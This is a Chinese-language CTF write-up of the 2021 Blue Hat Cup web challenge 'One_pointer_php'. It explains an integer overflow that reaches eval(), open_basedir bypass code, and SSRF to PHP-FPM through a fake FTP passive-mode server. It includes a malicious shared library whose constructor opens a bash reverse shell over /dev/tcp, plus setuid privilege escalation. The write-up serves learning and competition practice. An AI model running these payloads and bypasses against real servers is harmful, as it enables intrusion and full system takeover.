0%

[蓝帽杯]One_pointer_php

[蓝帽杯]One_pointer_php

一个玄幻的webpwn,但是我看大家都用FPM成功bypass了,所以复现顺便记录一下

整数溢出

第一步是个反序列化,大概是这么个要求

$count[++$user->count]=1;
if($count[]=1){
    .....
}
else{
    eval()
}

这样子的赋值形式会直接让其下标递增,我当时想到了整数溢出,但是我本地的环境最高只能到PHP7.2,这个版本及其之前版本下数字过大就直接把下标变成从0开始了,并打不通,远程环境是PHP7.4.1,后来网上找了个在线环境试了一下打通了
count等于long最大值-1即可,long最大值为9223372036854775807(63位二进制,留一位符号位),大概是先++到达最大值,再++的时候整数溢出就崩了吧。PHP7.4下会报一个warning然后赋值失败,用PHP8的环境这里就直接fatal error退出了,往前的版本会无事发生大家直接从0开始。。。利用环境真苛刻
如果直接把下标调成long最大值,此时++又不会直接崩盘,而是直接变成负数最小值(就是63位全0然后符号位1那个值),然后if那里的赋值再++之后下标会变成0,真是诡异

open_basedir

拿到一个shell之后发现并打不通,phpinfo一看open_basedir+disable_function超级拉满

ini_set绕过

open_basedir可以用经典的的ini_set+chdir绕过,先然后mkdir()创建一个子目录,然后再chdir()进去,ini_set("open_basedir", "..")就是合法的,当open_basedir变成..之后,就可以一路chdir(“..”)直达根目录,这时再ini_set("open_basedir", "/")就可以完全绕过open_basedir的限制了
一开始直接ini_set("open_basedir", "/")肯定是不给过的,因为根目录不在当前的open_basedir下

mkdir('z33');
chdir('z33');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
// 想干嘛干嘛

当然这个操作首先需要拥有当前目录写权限,或者存在一个可以cd进去的子目录

glob协议绕过

另一种操作,用DirectoryIterator这个类可以查看目录下文件,配合glob协议无视open_basedir(我也不知道为什么),抄一个脚本

<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
        echo "{$f}<br/>";
}
?>

glob:///*列举根目录下全部文件,列举其他目录的改下目录即可

扫目录在/etc/nginx/sites-enabled/default中读到配置内容,fastcgi_pass 127.0.0.1:9001;,可以打一个ssrf。预期解法应该是读/usr/local/etc/php/php.ini读到加载了一个extension,然后把那个扩展拉下来逆打pwn吧(好像以前遇到过这个样子的题目)

disable_function

还是复现一下FPM的打法,不能老是纸上谈兵(虽然脚本还是继续抄,抄的参考链接里面的)用gopherus也能生成一个payload,不过还得想个办法进行手动发包

如果能用gopher自然是可以手动控制TCP包的数据,本地测试PHP自带的curl功能是可以发送gopher协议的,不知道是远程环境哪里的问题,curl一用直接500,报错也不给看,不知道是不是这个模块没加载,只能用参考链接的伪造ftp进行通信了
FTP一个端口控制一个端口通信,通信端口没有任何的额外数据,所以就和gopher差不多能让我们打一个完全可控的tcp数据流
简单的说就是FTP存在一个passive被动服务模式,客户端连上服务器,服务器返回一个ip:port,客户端就开始和那个端口进行通信,注意这里的ip:port是由服务器指定的,所以起一个恶意服务端然后返回127.0.0.1:9001,这样子用户发送的数据流就直接打到本地的FPM上完成命令执行了。
先把经典.so传上去

#define _GNU_SOURCE
#include 
#include 
#include 

__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}

gcc evil.c -fPIC -shared -o evil.so 编译成动态链接库,这个经典.so应该是加载即触发,不需要额外的进行触发操作

用抄来的脚本搭一个伪ftp服务器,不过他端口那填了个9001好像不符合规范,应该改成35,41,按照规则应该是35*256+41=9001这样子比较正常

递归学习看到了RMB122神仙的博客,他直接看PHP在ftp这边实现的源码了。我光速爬,直接填9001也是可以的,因为PHP在底层处理的时候并没有管这么多,可以说是没有按规则处理,PHP源码在注释中写道在PASV模式下是忽略ip只获取端口的,但实际上操作的时候还是获取了ip,所以我们才能拿这个打一个ssrf,并且FTP的回复也可以有两种,都可以使得PHP的FTP链接进入到PASV模式,蓝帽杯wp里有一种,RMB神仙的博客里是另一种

现在要让目标连接一下我们的恶意ftp服务,直接使用PHP文件协议原生支持的ftp协议,在file_put_content函数这里发起ftp请求

<?php
    $file = $_GET['file'] ?? '/tmp/file';
    $data = $_GET['data'] ?? ':)';
    echo($file."</br>".$data."</br>");
    var_dump(file_put_contents($file, $data));
    // echo file_get_contents($file);

这个代码就是RMB神仙博客里的那道hxp的题,这里打开一个ftp链接,然后直接往这个连接里写东西,因为连上的是我们的恶意服务端,所以返回的写数据的位置就直接是本地的FPM,就可以设置extension_dir和extentsion两个PHP_ADMIN_VALUE加载恶意.so反弹shell了(这里踩了两个巨大的坑。。。。第一个是ftp协议端口后面还要跟一个/,这里一开始半天没打通,第二个是data他这里是$_GET获取的所以提交的时候url编码了,我直接往代码里写忘记解码了。。。。)

vps上直接起一个假ftp再监听一个端口等shell过来就行了

弹回来shell之后flag是root:root 700,还差一步提权,find / -perm -u=s就行,找到PHP自己就是setUID程序,直接改一个PHP文件再执行都行(但是还得再用前面的ini_set来bypass一下open_basedir)

另一个解

直接用pfsockopen这个函数起socket链接发送原始TCP数据直接打通
说实话我觉得这个应该是比较正常的解,PHP怎么可能不能直接发原始tcp数据,disable_function里面ban了一个fsockopen,但是漏了这个,我觉得一开始想到这个才是最正常的吧

参考链接

PHP绕过open_basedir列目录的研究
hxp CTF resonator Writeup - SSRF via file_put_contents|Rmb122’s Notebook 再膜一下
第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
蓝帽杯2021一道题——One_Pointer_PHP